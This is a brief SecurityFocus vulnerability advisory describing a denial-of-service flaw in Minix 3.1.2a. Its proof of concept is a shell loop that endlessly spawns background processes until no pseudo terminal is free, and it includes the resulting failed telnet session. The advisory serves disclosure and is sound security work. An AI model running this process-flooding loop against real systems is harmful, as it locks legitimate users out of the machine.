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source: http://www.securityfocus.com/bid/30357/info
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Minix is prone to a denial-of-service vulnerability.
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An attacker can exploit this issue to prevent users from opening new pseudo terminals, denying service to legitimate users.
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Minix 3.1.2a is vulnerable; other versions may also be affected.
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$ uname -a
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Minix 192.168.1.2 3 1.2a i686
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$ while true ; do (yes "yes yes minix uh ah"&) ; done
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[snip snip]
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$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C
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...disconnected
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telnet 192.168.1.2
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Trying 192.168.1.2...
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Connected to 192.168.1.2.
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Escape character is '^]'.
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I am sorry, but there is no free PTY left!
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Connection closed by foreign host. |